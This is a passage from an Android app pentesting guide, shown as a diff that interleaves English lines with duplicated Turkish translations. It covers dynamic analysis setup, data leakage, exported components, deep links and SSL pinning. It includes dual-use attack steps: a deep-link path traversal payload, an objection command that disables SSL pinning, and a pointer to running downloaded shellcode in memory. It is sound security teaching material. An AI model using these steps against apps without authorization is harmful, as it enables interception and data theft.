bypass-biometric-authentication-android.md
{{#endref}}
### Other interesting functions
### Diğer ilginç fonksiyonlar
- **Code execution**: `Runtime.exec(), ProcessBuilder(), native code:system()`
- **Send SMSs**: `sendTextMessage, sendMultipartTestMessage`
- **Native functions** declared as `native`: `public native, System.loadLibrary, System.load`
- [Read this to learn **how to reverse native functions**](reversing-native-libraries.md)
- In-memory native code execution via JNI (downloaded shellcode → mmap/mprotect → call):
### **Other tricks**
{{#ref}}
in-memory-jni-shellcode-execution.md
{{#endref}}
### **Diğer hileler**
{{#ref}}
@ -233,220 +238,222 @@ content-protocol.md
---
## Dynamic Analysis
## Dinamik Analiz
> First of all, you need an environment where you can install the application and all the environment (Burp CA cert, Drozer and Frida mainly). Therefore, a rooted device (emulated or not) is extremely recommended.
> Öncelikle, uygulamayı ve gerekli tüm ortamı (özellikle Burp CA cert, Drozer ve Frida) kurabileceğiniz bir ortama ihtiyacınız var. Bu nedenle, rootlu bir cihaz (emüle veya gerçek) şiddetle tavsiye edilir.
### Online Dynamic analysis
### Çevrimiçi Dinamik analiz
Bir **ücretsiz hesap** oluşturabilirsiniz: [https://appetize.io/](https://appetize.io). Bu platform APK yüklemeye ve **çalıştırmaya** izin vererek bir APK'nın nasıl davrandığını görmek için faydalıdır.
You can create a **free account** in: [https://appetize.io/](https://appetize.io). This platform allows you to **upload** and **execute** APKs, so it is useful to see how an apk is behaving.
Web üzerinden uygulamanızın loglarını **görebilir** ve **adb** üzerinden bağlanabilirsiniz.
You can even **see the logs of your application** in the web and connect through **adb**.
![](<../../images/image (831).png>)
ADB bağlantısı sayesinde emülatörlerde **Drozer** ve **Frida** kullanabilirsiniz.
Thanks to the ADB connection you can use **Drozer** and **Frida** inside the emulators.
### Local Dynamic Analysis
### Yerel Dinamik Analiz
#### Using an emulator
#### Bir emülatör kullanma
- [**Android Studio**](https://developer.android.com/studio) (x86 ve arm cihazlar oluşturabilirsiniz; ayrıca [**bu** ](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**en son x86** versiyonları **ARM kütüphanelerini** yavaş bir arm emülatöre ihtiyaç duymadan desteklemektedir).
- Kurulumunu bu sayfada öğrenin:
- [**Android Studio**](https://developer.android.com/studio) (x86 ve arm cihazlar oluşturabilirsiniz ve according to [**this** ](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**güncel x86** sürümleri **ARM kütüphanelerini** yavaş bir arm emülatörüne ihtiyaç duymadan destekler).
- Learn to set it up in this page:
{{#ref}}
avd-android-virtual-device.md
{{#endref}}
- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Ücretsiz sürüm:** Personal Edition, hesap oluşturmanız gerekir. _Hataları önlemek için **VirtualBox** İLE birlikte olan sürümü **İNDİRMENİZ** önerilir._)
- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Free version:** Personal Edition, you need to create an account. _It's recommend to **download** the version **WITH**_ _**VirtualBox** to avoid potential errors._)
- [**Nox**](https://es.bignox.com) (Ücretsiz, ancak Frida veya Drozer'ı desteklemiyor).
> [!TIP]
> Herhangi bir platformda yeni bir emülatör oluştururken ekran ne kadar büyükse emülatörün o kadar yavaş çalışacağını unutmayın. Mümkünse küçük ekranlar seçin.
> Yeni bir emülatör oluştururken herhangi bir platformda ekran ne kadar büyükse emülatör o kadar yavaş çalışacaktır. Mümkünse küçük ekranlar seçin.
Genymotion'da google servislerini (ör. AppStore) **install** etmek için aşağıdaki görüntüde kırmızı ile işaretlenmiş butona tıklamanız gerekir:
To **install google services** (like AppStore) in Genymotion you need to click on the red marked button of the following image:
![](<../../images/image (277).png>)
Ayrıca, **Genymotion içindeki Android VM yapılandırmasında** **Bridge Network mode** seçeneğini seçebileceğinizi unutmayın (bu, Android VM'ine farklı bir VM'den araçlarla bağlanacaksanız faydalı olacaktır).
Also, notice that in the **configuration of the Android VM in Genymotion** you can select **Bridge Network mode** (this will be useful if you will be connecting to the Android VM from a different VM with the tools).
#### Use a physical device
#### Fiziksel bir cihaz kullanma
Debug seçeneklerini aktifleştirmeniz gerekiyor ve mümkünse cihazı **root** yapmanız iyi olur:
Hata ayıklama seçeneklerini etkinleştirmeniz gerekir ve mümkünse cihazı rootlamanız faydalı olacaktır:
1. **Settings**.
2. (Android 8.0 ve sonrası) **System** seçin.
3. **About phone** seçin.
4. **Build number** üzerine 7 kez basın.
5. Geri dönün ve **Developer options**'ı bulacaksınız.
2. (FromAndroid 8.0) Select **System**.
3. Select **About phone**.
4. Press **Build number** 7 times.
5. Go back and you will find the **Developer options**.
> Uygulamayı yükledikten sonra, yapmanız gereken ilk şey onu çalıştırıp ne yaptığını, nasıl çalıştığını incelemek ve uygulamaya alışmaktır.\
> Bu ilk dinamik analiz için MobSF dynamic analysis + pidcat kullanmanızı öneririm; böylece uygulamanın nasıl çalıştığını öğrenirken MobSF birçok ilginç veriyi yakalar ve sonradan inceleyebilirsiniz.
> Once you have installed the application, the first thing you should do is to try it and investigate what does it do, how does it work and get comfortable with it.\
> I will suggest to **perform this initial dynamic analysis using MobSF dynamic analysis + pidcat**, so we will be able to **learn how the application works** while MobSF **captures** a lot of **interesting** **data** you can review later on.
Magisk/Zygisk kısa notlar (Pixel cihazlarda önerilir)
- Magisk uygulaması ile boot.img'yi patchleyip fastboot ile flashlayarak systemless root elde edin
- Zygisk + DenyList'i etkinleştirin; root gizleme için daha güçlü bir gizleme gerektiğinde LSPosed/Shamiko'yu düşünün
- OTA güncellemelerinden kurtulmak için orijinal boot.img'yi saklayın; her OTA sonrası tekrar patchleyin
- Ekran yansıtma için host üzerinde scrcpy kullanın
Magisk/Zygisk quick notes (recommended on Pixel devices)
- Patch boot.img with the Magisk app and flash via fastboot to get systemless root
- Enable Zygisk + DenyList for root hiding; consider LSPosed/Shamiko when stronger hiding is required
- Keep original boot.img to recover from OTA updates; re-patch after each OTA
- For screen mirroring, use scrcpy on the host
### Unintended Data Leakage
### Kasıt Olmayan Veri Sızıntısı
**Logging**
Geliştiriciler, **debugging bilgilerini** kamuya açmak konusunda dikkatli olmalıdır, çünkü bu hassas veri leak'lerine yol açabilir. Uygulama loglarını izleyerek hassas bilgileri tespit etmek için [**pidcat**](https://github.com/JakeWharton/pidcat) ve `adb logcat` araçları önerilir. **Pidcat** kullanım kolaylığı ve okunabilirliği nedeniyle tercih edilir.
Geliştiriciler hata ayıklama bilgilerini halka açık şekilde ifşa etme konusunda dikkatli olmalıdır; çünkü bu hassas verilerin sızmasına yol açabilir. Uygulama loglarını izlemek ve hassas bilgileri tespit etmek/korumak için [**pidcat**](https://github.com/JakeWharton/pidcat) ve `adb logcat` önerilir. **Pidcat** kullanım kolaylığı ve okunabilirliği nedeniyle tercih edilir.
> [!WARNING]
> Android 4.0'dan **daha yeni sürümlerde**, **uygulamalar yalnızca kendi loglarına erişebilir**. Yani uygulamalar diğer uygulamaların loglarına erişemez.\
> Yine de, hassas bilgileri **loglamamak** önerilir.
> Android 4.0'dan daha yeni sürümlerde uygulamalar yalnızca kendi log'larına erişebilir. Bu nedenle uygulamalar diğer uygulamaların log'larına erişemez.\
> Yine de hassas bilgileri loglamamak önerilir.
**Copy/Paste Buffer Caching**
Android'in **clipboard-based** framework'ü uygulamalarda kopyala-yapıştır işlevselliğini sağlar, ancak **diğer uygulamalar** panoya erişebildiği için hassas verileri ifşa etme riski taşır. Kredi kartı bilgileri gibi hassas bölümler için kopyala/yapıştır fonksiyonlarını **devre dışı bırakmak** önemlidir.
Android'in pano (clipboard) tabanlı altyapısı uygulamalara kopyala-yapıştır işlevselliği sağlar, ancak diğer uygulamaların panoya erişebilmesi riski yüzünden hassas verilerin açığa çıkmasına neden olabilir. Kredi kartı bilgileri gibi hassas alanlar için kopyala/yapıştır fonksiyonlarını devre dışı bırakmak önemlidir.
**Crash Logs**
Bir uygulama **çöküp** log kaydediyorsa, bu loglar özellikle uygulama tersine mühendislik yapılamıyorsa saldırganlar için yardımcı olabilir. Bu riski azaltmak için, çökme durumunda log kaydetmekten kaçının ve loglar ağ üzerinden gönderilecekse SSL kanalı ile iletildiğinden emin olun.
Bir uygulama çöker ve log tutarsa, bu loglar saldırganlara yardımcı olabilir; özellikle uygulama tersine mühendislikle çözülemiyorsa. Bu riski azaltmak için çökme durumlarında log tutmaktan kaçının; eğer loglar ağ üzerinden gönderilecekse, güvenlik için SSL kanalı üzerinden gönderildiğinden emin olun.
As pentester, **try to take a look to these logs**.
**Analytics Data Sent To 3rd Parties**
Uygulamalar sıklıkla Google Adsense gibi hizmetleri entegre eder; geliştiricinin yanlış uygulaması nedeniyle hassas veriler istemeden üçüncü taraflara **sızdırılabilir**. Potansiyel veri sızıntılarını tespit etmek için uygulamanın trafiğini intercept edip üçüncü taraf hizmetlere herhangi bir hassas bilgi gönderilip gönderilmediğini kontrol etmek önerilir.
Uygulamalar sıklıkla Google Adsense gibi servisleri entegre eder; geliştiricilerin hatalı uygulamaları nedeniyle bu servisler istemeden hassas verileri sızdırabilir. Potansiyel veri sızıntılarını tespit etmek için uygulamanın trafiğini intercept etmek ve üçüncü taraf servislere hassas bilgi gönderilip gönderilmediğini kontrol etmek önerilir.
### SQLite DBs
Çoğu uygulama bilgileri kaydetmek için **internal SQLite databases** kullanır. Pentest sırasında oluşturulan **databaseleri**, **tabloların** ve **sütunların** isimlerini ve kaydedilen tüm **verileri** inceleyin; çünkü burada **hassas bilgiler** (vulnerability) bulunabilir.\
Databaseler genelde `/data/data/the.package.name/databases` içinde yer alır, örn `/data/data/com.mwr.example.sieve/databases`
Çoğu uygulama bilgi saklamak için dahili SQLite veritabanları kullanır. Pentest sırasında oluşturulan veritabanlarına, tabloların ve sütunların isimlerine ve kaydedilen tüm verilere bakın; çünkü hassas bilgiler (bu bir vulnerability olur) bulabilirsiniz.\
Veritabanları genellikle `/data/data/the.package.name/databases` altında bulunur, örn. `/data/data/com.mwr.example.sieve/databases`
Eğer veritabanı gizli bilgileri şifreliyorsa ve şifre uygulama içinde bulunuyorsa bu yine bir **vulnerability**'dir.
If the database is saving confidential information and is **encrypted b**ut you can **find** the **password** inside the application it's still a **vulnerability**.
Tabloları `.tables` ile sırala ve tabloların sütunlarını `.schema <table_name>` ile listele.
Tabloları `.tables` ile listeleyin ve tabloların sütunlarını `.schema <table_name>` ile öğrenin.
### Drozer (Exploit Activities, Content Providers and Services)
From [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer**, bir Android uygulamasının rolünü üstlenmenize ve diğer uygulamalarla etkileşime girmenize izin verir. Yüklü bir uygulamanın yapabileceği **her şeyi** yapabilir; Androidin Inter-Process Communication (IPC) mekanizmasını kullanmak ve alt işletim sistemi ile etkileşim kurmak gibi. .\
Drozer, export edilmiş activities, exported services ve Content Providers'ı **exploit etmek** için faydalı bir araçtır; bunu sonraki bölümlerde öğreneceksiniz.
From [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** allows you to **assume the role of an Android app** and interact with other apps. It can do **anything that an installed application can do**, such as make use of Androids Inter-Process Communication (IPC) mechanism and interact with the underlying operating system. .\
Drozer is s useful tool to **exploit exported activities, exported services and Content Providers** as you will learn in the following sections.
### Exploiting exported Activities
[**Read this if you want to refresh what is an Android Activity.**](android-applications-basics.md#launcher-activity-and-other-activities)\
Ayrıca bir activity kodunun **`onCreate`** metodunda başladığını unutmayın.
Also remember that the code of an activity starts in the **`onCreate`** method.
**Authorisation bypass**
Bir Activity export edilmişse, dış bir uygulamadan ekranı çağırabilirsiniz. Bu nedenle, içinde **hassas bilgi** bulunan bir activity **exported** ise, **authentication** mekanizmalarını **bypass** ederek ona erişebilirsiniz.
When an Activity is exported you can invoke its screen from an external app. Therefore, if an activity with **sensitive information** is **exported** you could **bypass** the **authentication** mechanisms **to access it.**
[**Learn how to exploit exported activities with Drozer.**](drozer-tutorial/index.html#activities)
Ayrıca adb'den export edilmiş bir activity başlatabilirsiniz:
You can also start an exported activity from adb:
- PackageName is com.example.demo
- Exported ActivityName is com.example.test.MainActivity
```bash
adb shell am start -n com.example.demo/com.example.test.MainActivity
```
**NOTE**: MobSF bir aktivitede `android:launchMode` olarak _**singleTask/singleInstance**_ kullanımını kötü amaçlı olarak tespit edecektir, ancak due to [this](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), görünüşe göre bu yalnızca eski sürümlerde (API sürümleri < 21) tehlikelidir.
**NOTE**: MobSF will detect as malicious the use of _**singleTask/singleInstance**_ as `android:launchMode` in an activity, but due to [this](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), apparently this is only dangerous on old versions (API versions < 21).
> [!TIP]
> Note that an authorisation bypass is not always a vulnerability, it would depend on how the bypass works and which information is exposed.
> Unutmayın ki an authorisation bypass her zaman bir vulnerability değildir; bunun nasıl çalıştığına ve hangi bilgilerin açığa çıktığına bağlıdır.
**Hassas bilgi sızıntısı**
**Sensitive information leakage**
**Activity'ler ayrıca sonuç döndürebilir**. Eğer dışa açılmış (exported) ve korunmasız bir activity bulup **`setResult`** metodunu çağırdığını ve **hassas bilgi döndürdüğünü** tespit ederseniz, hassas bilgi sızıntısı vardır.
**Activities can also return results**. Eğer exported ve korunmasız bir activity içerisinde **`setResult`** metodunu çağıran ve hassas bilgi döndüren bir durum bulursanız, sensitive information leakage vardır.
#### Tapjacking
Eğer tapjacking önlenmemişse, exported activity'yi kötüye kullanarak **kullanıcının beklenmeyen işlemler yapmasını** sağlayabilirsiniz. Daha fazla bilgi için [**what is Tapjacking follow the link**](#tapjacking).
Eğer Tapjacking önlenmezse, exported activity'yi kötüye kullanarak kullanıcının beklenmeyen eylemleri gerçekleştirmesini sağlayabilirsiniz. For more info about [**what is Tapjacking follow the link**](#tapjacking).
### Exploiting Content Providers - Accessing and manipulating sensitive information
[**Read this if you want to refresh what is a Content Provider.**](android-applications-basics.md#content-provider)\
Content providers temel olarak **veri paylaşmak** için kullanılır. Eğer bir uygulamanın erişilebilir content provider'ları varsa, bunlardan **hassas** verileri çıkartabiliyor olabilirsiniz. Olası **SQL injections** ve **Path Traversals**'ı da test etmek ilginçtir çünkü bunlar zafiyetli olabilir.
Content providers temelde **veri paylaşımı** için kullanılır. Eğer bir uygulamanın kullanılabilir content providers'ı varsa, bunlardan **hassas veri çıkarma** şansınız olabilir. Ayrıca potansiyel **SQL injections** ve **Path Traversals**'ı test etmek ilginçtir çünkü bunlar zafiyetli olabilir.
[**Learn how to exploit Content Providers with Drozer.**](drozer-tutorial/index.html#content-providers)
### **Exploiting Services**
[**Read this if you want to refresh what is a Service.**](android-applications-basics.md#services)\
Unutmayın ki bir Service'in işlemleri `onStartCommand` metodunda başlar.
Bir Service'in eylemlerinin `onStartCommand` metodunda başladığını unutmayın.
Service temelde **veri alabilen**, **işleyebilen** ve (veya) bir cevap **döndürebilen** bir bileşendir. Bu yüzden, bir uygulama bazı servisleri export ediyorsa ne yaptığını anlamak için **kodu** incelemeli ve gizli bilgileri çıkarmak, authentication önlemlerini bypass etmek gibi amaçlarla **dinamik** olarak test etmelisiniz.\
Service temelde **veri alabilir**, **işleyebilir** ve (ya da etmeyebilir) bir yanıt **geri döndürebilir**. Bu nedenle, bir uygulama bazı servisleri export ediyorsa ne yaptığını anlamak için **kodu** kontrol etmeli ve gizli bilgileri çıkarmak, kimlik doğrulama önlemlerini atlatmak vb. için dinamik olarak test etmelisiniz.\
[**Learn how to exploit Services with Drozer.**](drozer-tutorial/index.html#services)
### **Exploiting Broadcast Receivers**
[**Read this if you want to refresh what is a Broadcast Receiver.**](android-applications-basics.md#broadcast-receivers)\
Unutmayın ki bir Broadcast Receiver'ın işlemleri `onReceive` metodunda başlar.
Bir Broadcast Receiver'ın eylemlerinin `onReceive` metodunda başladığını unutmayın.
Bir broadcast receiver belirli bir tür mesajı bekler. Alıcının mesajı nasıl işlediğine bağlı olarak zafiyetli olabilir.\
[**Learn how to exploit Broadcast Receivers with Drozer.**](#exploiting-broadcast-receivers)
### **Exploiting Schemes / Deep links**
Deep link'leri elle, MobSF gibi araçları veya [this one](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py) gibi script'leri kullanarak arayabilirsiniz.\
Declare edilmiş bir **scheme**'i **adb** veya bir **browser** kullanarak açabilirsiniz:
You can look for deep links manually, using tools like MobSF or scripts like [this one](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py).\
Bildirilmiş bir **scheme**'i **adb** veya bir **browser** kullanarak **open** edebilirsiniz:
```bash
adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name]
```
_Unutmayın: **paket adını atlayabilirsiniz** ve mobil cihaz bu bağlantıyı açması gereken uygulamayı otomatik olarak çağıracaktır._
_Paket adını **belirtmeyebileceğinizi** unutmayın; mobil cihaz, o bağlantıyı açacak uygulamayı otomatik olarak çağırır._
```html
<!-- Browser regular link -->
<a href="scheme://hostname/path?param=value">Click me</a>
<!-- fallback in your url you could try the intent url -->
<a href="intent://hostname#Intent;scheme=scheme;package=your.package.name;S.browser_fallback_url=http%3A%2F%2Fwww.example.com;end">with alternative</a>
```
**Çalıştırılan kod**
**Code executed**
Uygulamada **çalıştırılacak kodu** bulmak için deeplink tarafından çağrılan activity'e gidin ve **`onNewIntent`** fonksiyonunu arayın.
Uygulamada çalıştırılacak **kodu bulmak için**, deeplink tarafından çağrılan activity'ye gidin ve **`onNewIntent`** fonksiyonunu arayın.
![](<../../images/image (436) (1) (1) (1).png>)
**Hassas bilgi**
**Sensitive info**
Her deep link bulduğunuzda, i**URL parametreleriyle hassas veri (like passwords) almıyor** olduğundan emin olun, çünkü başka herhangi bir uygulama **deep link'i taklit edip bu verileri çalabilir!**
Her deep link bulduğunuzda, **URL parametreleriyle hassas veri (ör. parolalar) alınıp alınmadığını** kontrol edin; çünkü başka herhangi bir uygulama **deep link'i taklit edip bu verileri çalabilir!**
**Path içindeki parametreler**
**Parameters in path**
You **must check also if any deep link is using a parameter inside the path** of the URL like: `https://api.example.com/v1/users/{username}` , in that case you can force a path traversal accessing something like: `example://app/users?username=../../unwanted-endpoint%3fparam=value` .\
Uygulama içinde doğru endpoint'leri bulursanız, bir **Open Redirect** (eğer path'in bir kısmı domain adı olarak kullanılıyorsa), **account takeover** (kullanıcı detaylarını CSRF token olmadan değiştirebiliyorsanız ve the vuln endpoint doğru method'u kullandıysa) ve diğer zafiyetlere yol açabilirsiniz. Daha fazla bilgi için [bu kaynağa bakın](http://dphoeniixx.com/2020/12/13-2/).
Ayrıca **herhangi bir deep link'in URL path içinde parametre kullanıp kullanmadığını** kontrol etmelisiniz; örneğin: `https://api.example.com/v1/users/{username}`. Bu durumda path traversal zorlayarak şu gibi bir şey deneyebilirsiniz: `example://app/users?username=../../unwanted-endpoint%3fparam=value`.\
Doğru endpoint'leri uygulama içinde bulursanız, path'in bir kısmı domain adı olarak kullanılıyorsa **Open Redirect**, eğer kullanıcı bilgilerini CSRF token olmadan değiştirebiliyorsanız ve vuln endpoint doğru method'u kullanıyorsa **account takeover** ve benzeri başka zafiyetlere yol açabilirsiniz. Daha fazla bilgi için [buraya bakın](http://dphoeniixx.com/2020/12/13-2/).
**More examples**
An [interesting bug bounty report](https://hackerone.com/reports/855618) about links (_/.well-known/assetlinks.json_).
İlginç bir bug bounty raporu: https://hackerone.com/reports/855618 (links (_/.well-known/assetlinks.json_)).
### Tıma Katmanı İnceleme ve Doğrulama Hataları
### Transport Layer Inspection and Verification Failures
- **Certificates are not always inspected properly** by Android applications. It's common for these applications to overlook warnings and accept self-signed certificates or, in some instances, revert to using HTTP connections.
- **Negotiations during the SSL/TLS handshake are sometimes weak**, employing insecure cipher suites. This vulnerability makes the connection susceptible to man-in-the-middle (MITM) attacks, allowing attackers to decrypt the data.
- **Leakage of private information** is a risk when applications authenticate using secure channels but then communicate over non-secure channels for other transactions. This approach fails to protect sensitive data, such as session cookies or user details, from interception by malicious entities.
- Android uygulamaları **sertifikaları her zaman düzgün şekilde doğrulamıyor**. Bu uygulamaların self-signed sertifikaları kabul etmesi veya bazı durumlarda HTTP bağlantısına geri dönmesi yaygındır.
- **SSL/TLS handshake sırasında müzakereler bazen zayıf** olup, insecure cipher suite'ler kullanılıyor. Bu durum bağlantıyı man-in-the-middle (MITM) saldırılarına karşı savunmasız hale getirir ve saldırganların veriyi deşifre etmesine izin verebilir.
- Uygulamalar güvenli kanallarla kimlik doğrulaması yapıp sonra diğer işlemler için güvenli olmayan kanallar üzerinden iletişim kurduğunda özel bilgilerin sızdırılması riski vardır. Bu yaklaşım, session cookie veya kullanıcı bilgileri gibi hassas verileri kötü niyetli kişilerin ele geçirmesine karşı koruma sağlamaz.
#### Sertifika Doğrulama
#### Certificate Verification
Sertifika doğrulama üzerine odaklanacağız. Sunucunun sertifikasının bütünlüğü güvenliği artırmak için doğrulanmalıdır. Güvensiz TLS konfigürasyonları ve hassas verilerin şifrelenmemiş kanallarda iletilmesi ciddi riskler oluşturabilir. Sunucu sertifikalarını doğrulama ve zafiyetleri ele alma konusunda ayrıntılı adımlar için [**bu kaynak**](https://manifestsecurity.com/android-application-security-part-10/) kapsamlı rehberlik sağlar.
Odak noktamız **sertifika doğrulama** olacak. Sunucu sertifikasının bütünlüğü doğrulanmalıdır; bu güvenliği artırmak için kritik önemdedir. Güvensiz TLS konfigürasyonları ve hassas verilerin şifrelenmemiş kanallar üzerinden iletilmesi ciddi riskler doğurabilir. Sunucu sertifikalarını doğrulama ve zafiyetleri düzeltme adımları için [**bu kaynak**](https://manifestsecurity.com/android-application-security-part-10/) kapsamlı rehberlik sağlar.
#### SSL Pinning
SSL Pinning, uygulamanın sunucunun sertifikasını uygulama içinde saklanan bilinen bir kopyayla doğruladığı bir güvenlik önlemidir. Bu yöntem MITM saldırılarını önlemek için kritiktir. Hassas bilgi işleyen uygulamalar için SSL Pinning uygulanması şiddetle tavsiye edilir.
SSL Pinning, uygulamanın sunucu sertifikasını uygulama içinde saklanan bilinen bir kopya ile doğruladığı bir güvenlik önlemidir. Bu yöntem MITM saldırılarını önlemek için önemlidir. Hassas bilgi işleyen uygulamalar için SSL Pinning uygulanması şiddetle tavsiye edilir.
#### Trafik İncelemesi
#### Traffic Inspection
HTTP trafiğini incelemek için proxy aracının sertifikasını (ör. Burp) **yüklemeniz gereklidir**. Bu sertifika yüklü değilse, şifrelenmiş trafik proxy üzerinden görünmeyebilir. Özel bir CA sertifikasının nasıl yükleneceğine dair rehber için [**tıklayın**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
HTTP trafiğini incelemek için proxy aracının sertifikasını (ör. Burp) **kurmanız gerekir**. Bu sertifikayı kurmazsanız şifrelenmiş trafik proxy üzerinden görünmeyebilir. Özel bir CA sertifikası kurma rehberi için [**buraya tıklayın**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
API Level 24 ve üzerini hedefleyen uygulamalar, proxy'nin CA sertifikasını kabul etmek için Network Security Config üzerinde değişiklik yapılmasını gerektirir. Bu adım, şifrelenmiş trafiği incelemek için kritiktir. Network Security Config'i değiştirme talimatları için [**bu eğitime bakın**](make-apk-accept-ca-certificate.md).
API Level 24 ve üzerini hedefleyen uygulamaların proxy'nin CA sertifikasını kabul etmesi için Network Security Config üzerinde değişiklik yapması gerekir. Şifrelenmiş trafiği incelemek için Network Security Config'in nasıl değiştirileceğiyle ilgili talimatlar için [**bu eğitime bakın**](make-apk-accept-ca-certificate.md).
Eğer **Flutter** kullanılıyorsa, [**bu sayfa**](flutter.md) üzerindeki talimatları izlemelisiniz. Çünkü sertifikayı store'a eklemek tek başına işe yaramaz; Flutter'ın kendi geçerli CA listesi vardır.
Eğer **Flutter** kullanılıyorsa [**bu sayfadaki**](flutter.md) talimatları izlemeniz gerekir. Sadece sertifikayı store'a eklemek yeterli olmaz çünkü Flutter'ın kendi geçerli CA listesi vardır.
#### SSL/TLS pinning'in statik tespiti
#### Static detection of SSL/TLS pinning
Runtime bypasses denemeden önce, pinning'in APK içinde nerede uygulandığını hızlıca haritalayın. Statik keşif, hooks/patches planlamanıza ve doğru kod yollarına odaklanmanıza yardımcı olur.
Runtime bypass'lara başlamadan önce, pinning'in APK içinde nerede uygulandığını hızlıca haritalayın. Statik keşif, hook/patch planlamanıza ve doğru kod yollarına odaklanmanıza yardımcı olur.
Tool: SSLPinDetect
- Açık kaynaklı bir statik-analiz aracı olup APK'yı Smali'ye (apktool aracılığıyla) decompile eder ve SSL/TLS pinning implementasyonlarına ait seçilmiş regex pattern'lerini tarar.
- Her eşleşme için tam dosya yolu, satır numarası ve bir kod snippet'i raporlar.
- OkHttp CertificatePinner, custom javax.net.ssl.X509TrustManager.checkServerTrusted, SSLContext.init with custom TrustManagers/KeyManagers ve Network Security Config XML pin'leri gibi yaygın framework'leri ve custom kod yollarını kapsar.
- APK'yı Smali'ye (apktool ile) decompile eden ve SSL/TLS pinning implementasyonlarının küratörlü regex pattern'lerini tarayan açık kaynaklı statik-analiz aracı.
- Her eşleşme için tam dosya yolu, satır numarası ve kod snippet'i raporlar.
- Yaygın framework'leri ve custom kod yollarını kapsar: OkHttp CertificatePinner, custom javax.net.ssl.X509TrustManager.checkServerTrusted, SSLContext.init with custom TrustManagers/KeyManagers, ve Network Security Config XML pins.
Kurulum
Install
- Prereqs: Python >= 3.8, Java on PATH, apktool
```bash
git clone https://github.com/aancw/SSLPinDetect
@ -461,8 +468,8 @@ python sslpindetect.py -f app.apk -a apktool.jar
# Verbose (timings + per-match path:line + snippet)
python sslpindetect.py -a apktool_2.11.0.jar -f sample/app-release.apk -v
```
Örnek pattern kuralları (JSON)
Özelleştirilmiş pinning stillerini tespit etmek için signatures kullanın veya bunları genişletin. Kendi JSON'unuzu yükleyerek ölçekli scan yapabilirsiniz.
Örnek desen kuralları (JSON)
Özelleştirilmiş/özel pinning stillerini tespit etmek için signatures kullanın veya genişletin. Kendi JSON'unuzu yükleyebilir ve büyük ölçekte tarama yapabilirsiniz.
```json
{
"OkHttp Certificate Pinning": [
@ -477,42 +484,42 @@ python sslpindetect.py -a apktool_2.11.0.jar -f sample/app-release.apk -v
}
```
Notlar ve ipuçları
- Büyük uygulamalarda çoklu iş parçacığı ve memory-mapped I/O ile hızlı tarama; önceden derlenmiş regex, yükü/yanlış pozitifleri azaltır.
- Pattern collection: https://github.com/aancw/smali-sslpin-patterns
- Bir sonraki önceliklendirme için tipik tespit hedefleri:
- OkHttp: CertificatePinner kullanımı, setCertificatePinner, okhttp3/okhttp paket referansları
- Büyük uygulamalarda multi-threading ve memory-mapped I/O ile hızlı tarama; önceden derlenmiş regex, overhead ve false positives'i azaltır.
- Desen koleksiyonu: https://github.com/aancw/smali-sslpin-patterns
- Sıradaki öncelikli tespit hedefleri:
- OkHttp: CertificatePinner kullanımı, setCertificatePinner, okhttp3/okhttp package references
- Özel TrustManagers: javax.net.ssl.X509TrustManager, checkServerTrusted override'ları
- Özel SSL context'leri: SSLContext.getInstance + SSLContext.init ile özel manager'lar
- Declarative pins in res/xml network security config ve manifest referansları
- Eşleşen konumları Frida hook'ları, statik yamalar veya config incelemelerini dinamik testlerden önce planlamak için kullanın.
- Özel SSL context'leri: SSLContext.getInstance + SSLContext.init ile custom managers
- Deklaratif pin'ler res/xml içindeki network security config ve manifest referansları
- Eşleşen konumları Frida hooks, statik yamalar veya konfigürasyon incelemeleri planlamak için kullanın, dinamik testten önce.
#### Bypassing SSL Pinning
#### SSL Pinning'i Aşma
SSL Pinning uygulandığında, HTTPS trafiğini incelemek için bunu atlamak gerekir. Bu amaç için çeşitli yöntemler mevcuttur:
SSL Pinning uygulandığında, HTTPS trafiğini incelemek için bunu atlatmak gerekebilir. Bu amaçla çeşitli yöntemler mevcuttur:
- Automatically **modify** the **apk** to **bypass** SSLPinning with [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). The best pro of this option, is that you won't need root to bypass the SSL Pinning, but you will need to delete the application and reinstall the new one, and this won't always work.
- Bu korumayı atlamak için **Frida** (aşağıda tartışılmıştır) kullanabilirsiniz. Burp+Frida+Genymotion kullanımı için bir rehber: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
- Aşağıdaki komut ile [**objection**](frida-tutorial/objection-tutorial.md) kullanarak SSL Pinning'i **otomatik olarak atlamayı** de deneyebilirsiniz: `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
- Ayrıca **MobSF dynamic analysis** kullanarak SSL Pinning'i **otomatik olarak atlamayı** deneyebilirsiniz (aşağıda açıklanmıştır)
- Hâlâ yakalayamadığınız trafik olduğunu düşünüyorsanız trafiği iptables kullanarak burp'a iletmeyi deneyebilirsiniz. Bu blogu okuyun: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
- Otomatik olarak **apk**'yı **değiştirip** SSLPinning'i atlatmak için [**apk-mitm**](https://github.com/shroudedcode/apk-mitm) kullanın. Bu seçeneğin en büyük artısı, SSL Pinning'i atlatmak için root gerekmemesi; ancak uygulamayı silip yeni olanı yeniden yüklemeniz gerekir ve bu her zaman işe yaramayabilir.
